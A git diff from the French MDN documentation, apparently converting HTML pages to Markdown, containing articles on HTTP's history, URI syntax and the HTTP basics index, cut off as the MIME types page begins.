Ces innovations n'ont pas été mises en place à la suite d'un effort concerté, mais par une approche expérimentale couvrant les années 1991-1995. Un serveur ou un navigateur ajoutaient une fonctionnalité pour voir si elle suscitait l'intérêt escompté. Nombre de problèmes d'interopérabilité relevaient du lot commun. Pour répondre à ces désagréments, un document d'information décrivant les pratiques communes a été publié en novembre 1996, {{RFC(1945)}}. Cela correspondait à la définition de HTTP/1.0. Mais rigoureusement parlant, il convient de noter qu'il ne possède pas l'état de standard officiel.

+ +

HTTP/1.1 – Le protocole standardisé

+ +

Parallèlement aux usages quelque peu chaotiques des différentes applications HTTP/1.0, dès 1995 c'est-à-dire bien avant la publication du document HTTP/1.0 l'année suivante, une standardisation appropriée se trouvait sur les rails. HTTP/1.1, première version standardisée de HTTP, fut publié début 1997, seulement quelques mois après HTTP/1.0.

+ +

HTTP/1.1 dissipait des ambiguïtés et introduisait de nombreuses améliorations.

+ +
    +
  • Connexion pouvant être ré-utilisée : économie du temps qu'il faudrait pour en ouvrir plusieurs dans le but de présenter les ressources constituant le document original récupéré.
    • +
  • Ajout du pipelining : permet d'envoyer une seconde requête avant que la réponse de la première ne soit complètement transmise, diminuant le temps de latence de la communication.
    • +
  • Désormais les réponses par morceau sont aussi supportées.
    • +
  • Mise en place de mécanismes de contrôle de caches additionnels.
    • +
  • Mise en place de la négociation de contenu pour le langage, l'encodage et le type : le client et le serveur peuvent ainsi se mettre d'accord sur le contenu le plus adéquat à échanger.
    • +
  • Grâce à l'en-tête {{HTTPHeader("Host")}}, la capacité à héberger différents domaines sur la même adresse IP autorise désormais une colocation de serveurs.
    • +
+ +

Une suite typique de requêtes, toutes via la même connexion, ressemble dès lors à ceci :

+ +
GET /fr/docs/Glossary/Simple_header HTTP/1.1
+Host: developer.mozilla.org
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/fr/docs/Glossary/Simple_header
+
+200 OK
+Connection: Keep-Alive
+Content-Encoding: gzip
+Content-Type: text/html; charset=utf-8
+Date: Wed, 20 Jul 2016 10:55:30 GMT
+Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a"
+Keep-Alive: timeout=5, max=1000
+Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT
+Server: Apache
+Transfer-Encoding: chunked
+Vary: Cookie, Accept-Encoding
+
+(contenu)
+
+
+GET /static/img/header-background.png HTTP/1.1
+Host: developer.mozilla.org
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: */*
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/fr/docs/Glossary/Simple_header
+
+200 OK
+Age: 9578461
+Cache-Control: public, max-age=315360000
+Connection: keep-alive
+Content-Length: 3077
+Content-Type: image/png
+Date: Thu, 31 Mar 2016 13:34:46 GMT
+Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT
+Server: Apache
+
+(contenu comprenant une image sur 3077 octets)
+ +

HTTP/1.1 a été publié pour la première fois en tant que {{rfc(2068)}} en janvier 1997.

+ +

Plus de quinze années d'extension

+ +

Grâce à son extensibilité (création aisée de nouvelles en-têtes et méthodes) et bien que le protocole HTTP/1.1 ait été amélioré par deux révisions - {{RFC("2616")}} publiée en juin 1999, et les séries {{RFC("7230")}}-{{RFC("7235")}} publiées en juin 2014, en prévision de la publication de HTTP/2 - ce protocole s'est montré extrêmement stable pendant plus de quinze ans.

+ +

HTTP pour des transmissions sécurisées

+ +

La modification principale du protocole HTTP a été faite vers la fin de l'année 1994. Au lieu d'envoyer HTTP vers une pile TCP/IP basique, Netscape Communication avait ajouté une couche additionnelle de transmission chiffrée : SSL. SSL 1.0 n'est jamais paru en-dehors des entreprises, mais SSL 2.0 et ses successeurs SSL 3.0 et SSL 3.1 ont permis aux sites web e-commerce, grâce au chiffrement, de garantir l'authenticité des messages échangés entre serveur et client. Le SSL a pris place dans les standards internationaux et est finalement devenu TLS. Ses versions 1.0, 1.1 et 1.2 sont apparues pour successivement mettre fin à des vulnérabilités. TLS 1.3 est actuellement en phase d'élaboration.

+ +

Dans le même temps, le besoin d'une couche de transport chiffrée s'est avéré de plus en plus nécessaire. Le Web avait perdu de la fiabilité relative d'un réseau principalement académique, pour devenir une jungle où publicitaires, individus problématiques aussi bien que criminels, rivalisent pour obtenir le maximum de données privées concernant les utilisateurs, tenter d'usurper leur identité, et même de remplacer les données transmises par des données altérées. Alors que les applications créées avec HTTP gagnaient en puissance, accédant à un nombre croissant de données privées - telles que listes de contacts, e-mail ou position géographique de l'utilisateur - le besoin d'obtenir TLS est devenu omniprésent, au-delà même des cas d'e-commerce.

+ +

Utilisation de HTTP dans des applications complexes

+ +

La vision initiale du Web de Tim Berners-Lee ne se limitait pas uniquement à consulter des pages. Il imaginait un Web où tout un chacun pourrait ajouter et déplacer des documents à distance tel un système de fichiers distribué. Aux environs de 1996, HTTP a été étendu pour permettre l'édition. Un standard, appelé WebDAV fût alors créé. Il fut ensuite étendu à des applications spécifiques telles CardDAV pour gérer un répertoire d'adresses ou CalDAV pour gérer des calendriers. Toutes ces extensions se finissant par DAV avait une faiblesse : elles devaient être implémentées par le serveur pour pouvoir fonctionner, ce qui ne coulait pas de source. Leur utilisation au sein du Web est restée minimale.

+ +

En 2000, un nouveau modèle pour utiliser HTTP fût conçu : {{glossary("REST", "representational state transfer")}} (ou REST). Les actions induites par l'API n'étaient plus transmises par de nouvelles extensions de HTTP mais uniquement en accédant à des URIs à l'aides des méthodes HTTP/1.1 de base. Cela permettait à toute application web de fournir une API à partir de laquelle on autorisait la lecture ou l'écriture des données sans avoir à mettre à jour son serveur ou son navigateur web : tout ce dont on avait besoin était présent dans les fichiers transmis via les méthodes HTTP/1.1. L'inconvénient de l'approche REST étant que chaque site web définit son API REST non-standard et exerce un contrôle total à l'inverse des extensions *DAV ou les clients et les serveurs étaient interopérables. Les API REST sont devenues omniprésentes dans les années 2010.

+ +

Depuis 2005, le nombre d'APIs ouvertes sur des pages a énormément augmenté. Certaines APIs ont d'ailleurs étendu HTTP via des en-têtes HTTP spécifiques afin de répondre à des besoins particuliers tels que:

+ + + +

Relâcher les contraintes du modèle de sécurité du Web

+ +

HTTP est indépendant du modèle de sécurité du Web, principalement créé via la same-origin policy. En réalité le modèle de sécurité du Web s'est développé après la création de HTTP. D'années en années, il s'est avéré utile de devenir plus tolérant en termes d'origine de contenu, en supprimant certaines restrictions, sous certaines conditions. L'étendue des restrictions levées ainsi que l'application est transmise au client à l'aide d'en-têtes HTTP. Ces en-têtes sont définis au travers des spécifications Cross-Origin Resource Sharing (CORS) ou Content Security Policy (CSP).

+ +

D'autres extensions de HTTP sont apparues, parfois de manière expérimentale. On mentionnera par exemple les en-têtes connus tels : Do Not Track (Ne pas me pister) ({{HTTPHeader("DNT")}}) permettant de contrôler la vie privée, {{HTTPHeader("X-Frame-Options")}}, ou {{HTTPHeader('Upgrade-Insecure-Requests')}} même s'il en existe beaucoup d'autres.

+ +

HTTP/2 – Un protocole pour plus de performances

+ +

Au fur et à mesure, les pages web sont devenues de plus en plus complexes quitte à devenir des applications à part entière. La quantité de contenu multimédia ainsi que le nombre de scripts permettant plus d'interactivité ont aussi augmenté, ainsi de plus en plus de données sont transférées via des requêtes HTTP. Les connexions HTTP/1.1 nécessite un ordre séquentiel pour être correctement gérées. En théorie, il est possible d'utiliser plusieurs connexions en parallèle (généralement entre 5 et 8), néanmoins, cela implique beaucoup d'adaptation et apporte énormément de complexité. Ainsi, le pipelining HTTP s'est révélé être un fardeau dans le monde du développement web.

+ +

Dans la première moitié des années 2010, Google a montré qu'il était possible d'utiliser une manière différente de communication entre un serveur et un navigateur, ce protocole expérimental porte le nom de SPDY. Cela a intéressé bon nombre de développeurs, que ce soit au niveau des serveurs ou des navigateurs. En augmentant la réactivité et en éliminant la duplication des données transmises, SPDY posa les bases du protocole HTTP/2.

+ +

Le protocole HTTP/2 diffère de HTTP/1.1 sur plusieurs aspects:

+ +
    +
  • Il est encodé en binaire plutôt qu'en texte. Il ne peut donc plus être lu ou écrit à la main. Malgré cette difficulté, il est désormais possible d'implémenter des techniques d'optimisation avancée.
    • +
  • C'est un protocole multiplexé. Plusieurs requêtes en parallèle peuvent être gérées au sein de la même connexion, supprimant ainsi la limitation séquentielle de HTTP/1.x.
    • +
  • HTTP/2 compresse les en-têtes, étant donné que des en-têtes similaires sont échangés lors d'une suite de requêtes, on supprime ainsi la duplication et l'échange inutiles des données similaires.
    • +
  • Il permet au serveur de remplir le cache du client avant qu'il ne soit demandé par ce dernier, on parle alors d'évènements générés par le serveur.
    • +
+ +

Devenu un standard officiel en mai 2015, HTTP/2 a rencontré un large succès. En janvier 2018, 23.9% des sites web utilisent HTTP/2 (8.7% en 2016) (source). Ce qui représentait en 2015 plus de 68% des requêtes (source). Les sites web générant beaucoup de trafic montre un taux d'adoption très rapide, ce qui s'explique par le gain de bande passante et les économies ainsi générées.

+ +

Cette adoption fulgurante de HTTP/2 s'explique probablement par le fait que cette nouvelle version ne nécessite pas de mise à jour des sites web et des applications, l'utilisation de HTTP/1.x ou HTTP/2 étant transparente. Il suffit qu'un serveur à jour et un navigateur moderne communiquent pour que cela fonctionne. La traction générée par les premiers utilisateurs ainsi que le renouvellement des serveurs devenant obsolètes entraînent la croissance de HTTP/2 sans que cela requiert des efforts supplémentaires.

+ +

Après HTTP/2

+ +

HTTP n'a pas cessé d'évoluer depuis la parution de HTTP/2, de la même manière que pour HTTP/1.x, la modularité de HTTP permet toujours de lui ajouter de nouvelles fonctionnalités. Il est ainsi possible de mentionner les en-têtes suivants apparus en 2016 :

+ +
    +
  • Prise en charge de {{HTTPHeader("Alt-Svc")}} qui permet de dissocier l'identification d'une ressource de son emplacement, permettant une optimisation du cache {{Glossary("CDN")}}.
    • +
  • L'apparition de {{HTTPHeader("Client-Hints")}} qui permet au navigateur ou client de transmettre directement au serveur des informations relatives à ses contraintes matérielles propres.
    • +
  • L'apparition de préfixes liés à la sécurité dans l'en-tête {{HTTPHeader("Cookie")}} permet désormais de s'assurer qu'un cookie sécurisé n'a pas été modifié
    • +
+ +

Cette évolution de HTTP montre sa modularité ainsi que sa simplicité, permettant la création d'applications et l'adoption du protocole. L'environnement au sein duquel HTTP évolue à l'heure actuelle est sensiblement différent de celui dans lequel il a été créé au début des années 1990. La conception de HTTP s'avère aujourd'hui être un véritable chef-d’œuvre, elle a permis au Web d'évoluer sur un quart de siècle sans créer de scissions. En corrigeant les failles et en continuant à supporter le caractère extensible du protocole, HTTP/2 laisse présager d'un avenir brillant pour ce protocole.

+
+
diff --git a/files/fr/web/http/basics_of_http/identifying_resources_on_the_web/index.html b/files/fr/web/http/basics_of_http/identifying_resources_on_the_web/index.html deleted file mode 100644 index 113f4f10b2..0000000000 --- a/files/fr/web/http/basics_of_http/identifying_resources_on_the_web/index.html +++ /dev/null @@ -1,170 +0,0 @@ ---- -title: Identifier des ressources sur le Web -slug: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web -tags: - - HTTP -translation_of: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web -original_slug: Web/HTTP/Basics_of_HTTP/Identifier_des_ressources_sur_le_Web ---- -
{{HTTPSidebar}}
- -

La cible d'une requête HTTP est appelée une "ressource", elle ne possède pas de type particulier. Il peut s'agir d'un document, d'une photo ou de n'importe quoi d'autre. Chaque ressource est identifiée à l'aide d'une Uniform Resource Identifier ({{Glossary("URI")}}) utilisé au sein de HTTP pour identifier les ressources.

- -

L'identité et l'emplacement d'une ressource sur le Web sont souvent déterminées via une URL (Uniform Resource Locator° un type d'URI. Il existe des cas valides où l'identité et l'emplacement d'une ressource ne sont pas obtenus par la même URI comme lorsque l'en-tête {{HTTPHeader("Alt-Svc")}} est utilisé. La ressource requise par le client doit alors être récupérée à partir d'un emplacement différent.

- -

URLs et URNs

- -

URLs

- -

La forme la plus commune des URI est l'URL (Uniform Resource Locator ({{Glossary("URL")}})) que l'on connaît sous le nom d'adresse web.

- -
https://developer.mozilla.org
-https://developer.mozilla.org/fr/docs/Learn/
-https://developer.mozilla.org/fr/search?q=URL
- -

Vous pouvez entrer chacune de ces URLs dans votre navigateur pour lui demander de charger la page associée (il s'agit ici de la ressource).

- -

Une URL est composée de différentes parties, certaines obligatoires et d'autres facultatives. Voici un exemple plus complet :

- -
http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument
- -

URNs

- -

Une URN ou Uniform Resource Name est une URI qui identifie une ressource à l'aide d'un nom dans un espace de noms (namespace) particulier.

- -
urn:isbn:9780141036144
-urn:ietf:rfc:7230
-
- -

Ces deux URNs correspondent :

- - - -

Syntaxe des URIs (Uniform Resource Identifiers)

- -

Schéma ou protocole

- -
-
Protocole
-
http:// constitue le protocole, il indique le protocole qui doit être utilisé par le navigateur. Il s'agit généralement de HTTP ou de sa variante sécurisée HTTPS. Le Web nécessite l'un ou l'autre de ces protocoles néanmoins, les navigateurs sont capables de gérer d'autres protocoles tels que mailto: (pour ouvrir un client mail) or ftp: pour gérer un transfert de fichier. Essayez, lorsque vous naviguez, d'identifier les protocoles utilisés. Les schémas usuels sont :
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SchémaDescription
dataURIs de données
fileFichiers du système hôte sur lequel est installé le navigateur
ftpFile Transfer Protocol
http/httpsHyper text transfer protocol (sécurisé)
mailtoAdresse électronique
sshSecure shell
teltéléphone
urnUniform Resource Names
view-sourcecode source de la ressource
ws/wssconnexions (chiffrées) WebSocket
- -

Autorité

- -
-
Nom de domaine
-
www.exemple.com est le nom de domaine ou l'autorité qui gère cet espace de noms. Il indique quel serveur Web est appelé. Il est aussi possible d'utiliser directement une adresse IP ({{Glossary("IP address")}}), néanmoins elles sont moins pratiques à manipuler pour des humains et sont donc moins fréquemment utilisées pour accéder à une ressource sur le Web.
-
- -

Port

- -
-
Port
-
:80 constitue le port. Il indique la "porte" technique à utiliser pour accéder à une ressource sur un serveur web. Il est généralement omis puisque le serveur web utilisera par défaut les ports standards pour HTTP (port 80 pour HTTP et 443 pour HTTPS) pour permettre l'accès aux ressources qu'il héberge. Dans le cas où le port par défaut n'est pas celui utilisé, il est obligatoire de le spécifier.
-
- -

Chemin

- -
-
Chemin du fichier
-
/chemin/du/fichier.html constitue le chemin d'accès à la ressource sur le serveur web. Au début du Web, le chemin représentait un emplacement physique où le fichier était stocké, à l'heure actuelle il s'agit d'une abstraction gérée par le serveur web sans réelle existence physique..
-
- -

Requête

- -
-
Paramètres
-
?key1=value1&key2=value2 sont des paramètres additionnels fournis au serveur web. Ces paramètres sont un ensemble de clés/valeurs séparé par le symbole &. Le serveur web peut utiliser ces paramètres pour effectuer des tâches avant de retourner une ressource au client. Chaque serveur web possède ses propres règles en ce qui concerne la gestion des paramètres.
-
- -

Fragment

- -
-
Ancre
-
#QuelquePartDansLeDocument est une ancre vers un morceau de la ressource en particulier, elle constitue une sorte de marque-page à l'intérieur de la ressource. Cela permet au navigateur de savoir où aller pour afficher le contenu à l'emplacement de l'ancre. Au sein d'une page HTML par exemple, le navigateur défilera jusqu'à ce point. Pour un document vidéo ou audio, le navigateur essaiera d'accéder au temps indiqué par l'ancre. On notera que la partie située après le caractère #, aussi appelé le fragment, n'est jamais envoyé au serveur avec la requête.
-
- -

Exemples

- -
https://developer.mozilla.org/en-US/docs/Learn
-tel:+1-816-555-1212
-git@github.com:mdn/browser-compat-data.git
-ftp://example.org/resource.txt
-urn:isbn:9780141036144
-
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7230", "Uniform Resource Identifiers", "2.7")}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
- -

Voir aussi

- - diff --git a/files/fr/web/http/basics_of_http/identifying_resources_on_the_web/index.md b/files/fr/web/http/basics_of_http/identifying_resources_on_the_web/index.md new file mode 100644 index 0000000000..113f4f10b2 --- /dev/null +++ b/files/fr/web/http/basics_of_http/identifying_resources_on_the_web/index.md @@ -0,0 +1,170 @@ +--- +title: Identifier des ressources sur le Web +slug: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web +tags: + - HTTP +translation_of: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web +original_slug: Web/HTTP/Basics_of_HTTP/Identifier_des_ressources_sur_le_Web +--- +
{{HTTPSidebar}}
+ +

La cible d'une requête HTTP est appelée une "ressource", elle ne possède pas de type particulier. Il peut s'agir d'un document, d'une photo ou de n'importe quoi d'autre. Chaque ressource est identifiée à l'aide d'une Uniform Resource Identifier ({{Glossary("URI")}}) utilisé au sein de HTTP pour identifier les ressources.

+ +

L'identité et l'emplacement d'une ressource sur le Web sont souvent déterminées via une URL (Uniform Resource Locator° un type d'URI. Il existe des cas valides où l'identité et l'emplacement d'une ressource ne sont pas obtenus par la même URI comme lorsque l'en-tête {{HTTPHeader("Alt-Svc")}} est utilisé. La ressource requise par le client doit alors être récupérée à partir d'un emplacement différent.

+ +

URLs et URNs

+ +

URLs

+ +

La forme la plus commune des URI est l'URL (Uniform Resource Locator ({{Glossary("URL")}})) que l'on connaît sous le nom d'adresse web.

+ +
https://developer.mozilla.org
+https://developer.mozilla.org/fr/docs/Learn/
+https://developer.mozilla.org/fr/search?q=URL
+ +

Vous pouvez entrer chacune de ces URLs dans votre navigateur pour lui demander de charger la page associée (il s'agit ici de la ressource).

+ +

Une URL est composée de différentes parties, certaines obligatoires et d'autres facultatives. Voici un exemple plus complet :

+ +
http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument
+ +

URNs

+ +

Une URN ou Uniform Resource Name est une URI qui identifie une ressource à l'aide d'un nom dans un espace de noms (namespace) particulier.

+ +
urn:isbn:9780141036144
+urn:ietf:rfc:7230
+
+ +

Ces deux URNs correspondent :

+ + + +

Syntaxe des URIs (Uniform Resource Identifiers)

+ +

Schéma ou protocole

+ +
+
Protocole
+
http:// constitue le protocole, il indique le protocole qui doit être utilisé par le navigateur. Il s'agit généralement de HTTP ou de sa variante sécurisée HTTPS. Le Web nécessite l'un ou l'autre de ces protocoles néanmoins, les navigateurs sont capables de gérer d'autres protocoles tels que mailto: (pour ouvrir un client mail) or ftp: pour gérer un transfert de fichier. Essayez, lorsque vous naviguez, d'identifier les protocoles utilisés. Les schémas usuels sont :
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SchémaDescription
dataURIs de données
fileFichiers du système hôte sur lequel est installé le navigateur
ftpFile Transfer Protocol
http/httpsHyper text transfer protocol (sécurisé)
mailtoAdresse électronique
sshSecure shell
teltéléphone
urnUniform Resource Names
view-sourcecode source de la ressource
ws/wssconnexions (chiffrées) WebSocket
+ +

Autorité

+ +
+
Nom de domaine
+
www.exemple.com est le nom de domaine ou l'autorité qui gère cet espace de noms. Il indique quel serveur Web est appelé. Il est aussi possible d'utiliser directement une adresse IP ({{Glossary("IP address")}}), néanmoins elles sont moins pratiques à manipuler pour des humains et sont donc moins fréquemment utilisées pour accéder à une ressource sur le Web.
+
+ +

Port

+ +
+
Port
+
:80 constitue le port. Il indique la "porte" technique à utiliser pour accéder à une ressource sur un serveur web. Il est généralement omis puisque le serveur web utilisera par défaut les ports standards pour HTTP (port 80 pour HTTP et 443 pour HTTPS) pour permettre l'accès aux ressources qu'il héberge. Dans le cas où le port par défaut n'est pas celui utilisé, il est obligatoire de le spécifier.
+
+ +

Chemin

+ +
+
Chemin du fichier
+
/chemin/du/fichier.html constitue le chemin d'accès à la ressource sur le serveur web. Au début du Web, le chemin représentait un emplacement physique où le fichier était stocké, à l'heure actuelle il s'agit d'une abstraction gérée par le serveur web sans réelle existence physique..
+
+ +

Requête

+ +
+
Paramètres
+
?key1=value1&key2=value2 sont des paramètres additionnels fournis au serveur web. Ces paramètres sont un ensemble de clés/valeurs séparé par le symbole &. Le serveur web peut utiliser ces paramètres pour effectuer des tâches avant de retourner une ressource au client. Chaque serveur web possède ses propres règles en ce qui concerne la gestion des paramètres.
+
+ +

Fragment

+ +
+
Ancre
+
#QuelquePartDansLeDocument est une ancre vers un morceau de la ressource en particulier, elle constitue une sorte de marque-page à l'intérieur de la ressource. Cela permet au navigateur de savoir où aller pour afficher le contenu à l'emplacement de l'ancre. Au sein d'une page HTML par exemple, le navigateur défilera jusqu'à ce point. Pour un document vidéo ou audio, le navigateur essaiera d'accéder au temps indiqué par l'ancre. On notera que la partie située après le caractère #, aussi appelé le fragment, n'est jamais envoyé au serveur avec la requête.
+
+ +

Exemples

+ +
https://developer.mozilla.org/en-US/docs/Learn
+tel:+1-816-555-1212
+git@github.com:mdn/browser-compat-data.git
+ftp://example.org/resource.txt
+urn:isbn:9780141036144
+
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7230", "Uniform Resource Identifiers", "2.7")}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/basics_of_http/index.html b/files/fr/web/http/basics_of_http/index.html deleted file mode 100644 index 0276210a16..0000000000 --- a/files/fr/web/http/basics_of_http/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: L'essentiel de HTTP -slug: Web/HTTP/Basics_of_HTTP -tags: - - Aperçu - - HTTP -translation_of: Web/HTTP/Basics_of_HTTP ---- -
{{HTTPSidebar}}
- -

HTTP est un protocole extensible. Il s'appuie sur quelques concepts basiques comme la notion de ressources et d'URI, une structure de messages simple et une structure client-serveur pour le flux de communication. En plus de ces concepts basiques, de nombreuses extensions du protocole sont apparues au fil des ans, ajoutant de nouvelles fonctionnalités et de nouvelle syntaxes en créant de nouvelles méthodes ou en-têtes HTTP.

- -

Articles

- -
-
Vue d'ensemble de HTTP
-
Décrit ce qu'est HTTP et son rôle dans l'architecture du Web ainsi que sa position dans la pile de protocoles.
-
Évolution de HTTP
-
HTTP a été créé au début des années 1990 et a été étendu plusieurs fois. Cet article relate son histoire et décrit HTTP/0.9, HTTP/1.0, HTTP/1.1, et le récent HTTP/2. Les nouveautés mineures introduites au fil des ans sont aussi présentées.
-
Négocier une version HTTP
-
Explique comment un client et un serveur peuvent négocier une version HTTP spécifique pour pouvoir utiliser une version plus récente du protocole.
-
Ressources et URIs
-
Une brève introduction à la notion de ressources, d'identifiants, et de localisations sur le web.
-
Identifier des ressources sur le web
-
Décrit comment les ressources web sont référencées et comment les localiser.
-
URIs de données
-
Un type d'URIs spécifique qui intègre directement la ressource qu'il représente. Les URIs de données sont très commodes mais s'accompagnent de quelques mises en garde.
-
URLs de ressources
-
Les URLs de ressources, qui sont préfixées par le schéma resource: sont utilisées par Firefox et les extensions de Firefox pour charger des ressources de façon interne, néanmoins une partie de l'information est exposée aux sites web lorsque le navigateur s'y connecte.
-
Séparer l'identité et la localisation d'une ressource : l'en-tête HTTP Alt-Svc (Alternative Service)
-
La plupart du temps, l'identité et la localisation d'une ressource web sont associées. Cela peut être modifié avec l'en-tête {{HTTPHeader("Alt-Svc")}}.
-
Types MIME
-
Depuis HTTP/1.0, différents types de contenus peuvent être transmis. Cet article explique comment cela est fait via l'utilisation de l'en-tête {HTTPHeader("Content-Type")}} et le standard MIME.
-
Choisir entre des URL de type www ou non
-
Conseil sur l'utilisation d'un domaine préfixé ou non par www. Cet article explique les conséquences de ce choix aussi que les facteurs à considérer lors du choix.
-
Flux d'une session HTTP
-
Cet article fondamental décrit une session HTTP typique ; c'est-à-dire ce qui se passe "sous le capot" quand vous cliquez sur un lien dans votre navigateur ...
-
Messages HTTP
-
Les messages HTTP transmis pendant les requêtes ou les réponses ont une structure très claire. Cet article d'introduction décrit cette structure, son but et les possibilités qu'elle offre.
-
Trame et structure de message en HTTP/2
-
HTTP/2 représente les messages HTTP/1.x par une trame binaire. Cet article explique la structure de la trame, son but et la manière dont elle est encodée.
-
Gestion des connexions en HTTP/1.x
-
HTTP/1.1 était la première version d'HTTP à supporter les connexions persistantes et la combinaison de requêtes dans une seule connexion. Cet article explique ces deux concepts.
-
Gestion des connexions en HTTP/2
-
HTTP/2 a complètement revisité la manière dont les connexions sont créées et maintenues. Cet article explique comment les trames HTTP permettent le multiplexage et résolvent le problème de la trame bloquante ('head-of-line' blocking) des précédentes versions.
-
Négociation du contenu
-
HTTP introduit une série d'en-têtes commençant par Accept- permettant a un navigateur d'annoncer le format, la langue ou l'encodage qu'il préfère. Cet article explique comment cette préférence est déclarée, quelle réaction est attendue de la part du serveur et comment celui-ci choisit la réponse la plus adéquate possible.
-
diff --git a/files/fr/web/http/basics_of_http/index.md b/files/fr/web/http/basics_of_http/index.md new file mode 100644 index 0000000000..0276210a16 --- /dev/null +++ b/files/fr/web/http/basics_of_http/index.md @@ -0,0 +1,48 @@ +--- +title: L'essentiel de HTTP +slug: Web/HTTP/Basics_of_HTTP +tags: + - Aperçu + - HTTP +translation_of: Web/HTTP/Basics_of_HTTP +--- +
{{HTTPSidebar}}
+ +

HTTP est un protocole extensible. Il s'appuie sur quelques concepts basiques comme la notion de ressources et d'URI, une structure de messages simple et une structure client-serveur pour le flux de communication. En plus de ces concepts basiques, de nombreuses extensions du protocole sont apparues au fil des ans, ajoutant de nouvelles fonctionnalités et de nouvelle syntaxes en créant de nouvelles méthodes ou en-têtes HTTP.

+ +

Articles

+ +
+
Vue d'ensemble de HTTP
+
Décrit ce qu'est HTTP et son rôle dans l'architecture du Web ainsi que sa position dans la pile de protocoles.
+
Évolution de HTTP
+
HTTP a été créé au début des années 1990 et a été étendu plusieurs fois. Cet article relate son histoire et décrit HTTP/0.9, HTTP/1.0, HTTP/1.1, et le récent HTTP/2. Les nouveautés mineures introduites au fil des ans sont aussi présentées.
+
Négocier une version HTTP
+
Explique comment un client et un serveur peuvent négocier une version HTTP spécifique pour pouvoir utiliser une version plus récente du protocole.
+
Ressources et URIs
+
Une brève introduction à la notion de ressources, d'identifiants, et de localisations sur le web.
+
Identifier des ressources sur le web
+
Décrit comment les ressources web sont référencées et comment les localiser.
+
URIs de données
+
Un type d'URIs spécifique qui intègre directement la ressource qu'il représente. Les URIs de données sont très commodes mais s'accompagnent de quelques mises en garde.
+
URLs de ressources
+
Les URLs de ressources, qui sont préfixées par le schéma resource: sont utilisées par Firefox et les extensions de Firefox pour charger des ressources de façon interne, néanmoins une partie de l'information est exposée aux sites web lorsque le navigateur s'y connecte.
+
Séparer l'identité et la localisation d'une ressource : l'en-tête HTTP Alt-Svc (Alternative Service)
+
La plupart du temps, l'identité et la localisation d'une ressource web sont associées. Cela peut être modifié avec l'en-tête {{HTTPHeader("Alt-Svc")}}.
+
Types MIME
+
Depuis HTTP/1.0, différents types de contenus peuvent être transmis. Cet article explique comment cela est fait via l'utilisation de l'en-tête {HTTPHeader("Content-Type")}} et le standard MIME.
+
Choisir entre des URL de type www ou non
+
Conseil sur l'utilisation d'un domaine préfixé ou non par www. Cet article explique les conséquences de ce choix aussi que les facteurs à considérer lors du choix.
+
Flux d'une session HTTP
+
Cet article fondamental décrit une session HTTP typique ; c'est-à-dire ce qui se passe "sous le capot" quand vous cliquez sur un lien dans votre navigateur ...
+
Messages HTTP
+
Les messages HTTP transmis pendant les requêtes ou les réponses ont une structure très claire. Cet article d'introduction décrit cette structure, son but et les possibilités qu'elle offre.
+
Trame et structure de message en HTTP/2
+
HTTP/2 représente les messages HTTP/1.x par une trame binaire. Cet article explique la structure de la trame, son but et la manière dont elle est encodée.
+
Gestion des connexions en HTTP/1.x
+
HTTP/1.1 était la première version d'HTTP à supporter les connexions persistantes et la combinaison de requêtes dans une seule connexion. Cet article explique ces deux concepts.
+
Gestion des connexions en HTTP/2
+
HTTP/2 a complètement revisité la manière dont les connexions sont créées et maintenues. Cet article explique comment les trames HTTP permettent le multiplexage et résolvent le problème de la trame bloquante ('head-of-line' blocking) des précédentes versions.
+
Négociation du contenu
+
HTTP introduit une série d'en-têtes commençant par Accept- permettant a un navigateur d'annoncer le format, la langue ou l'encodage qu'il préfère. Cet article explique comment cette préférence est déclarée, quelle réaction est attendue de la part du serveur et comment celui-ci choisit la réponse la plus adéquate possible.
+
diff --git a/files/fr/web/http/basics_of_http/mime_types/common_types/index.html b/files/fr/web/http/basics_of_http/mime_types/common_types/index.html deleted file mode 100644 index 0fd192adb2..0000000000 --- a/files/fr/web/http/basics_of_http/mime_types/common_types/index.html +++ /dev/null @@ -1,356 +0,0 @@ ---- -title: Liste des types MIME communs -slug: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types -tags: - - Audio - - HTTP - - Reference - - Types MIME - - Video -translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types ---- -
{{HTTPSidebar}}
- -

Voici une liste de types MIME, associés par type et ordonnée par extension.

- -

Il existe deux types MIME principaux qui jouent un rôle important en terme de types par défaut :

- - - -

L'IANA constitue le registre officiel pour l'ensemble des types MIME et maintient une liste exhaustive à l'adresse suivante : https://www.iana.org/assignments/media-types/media-types.xhtml. La table ci-dessous se focalise sur les types MIME importants dans le cadre du Web, elle n'est donc pas exhaustive :

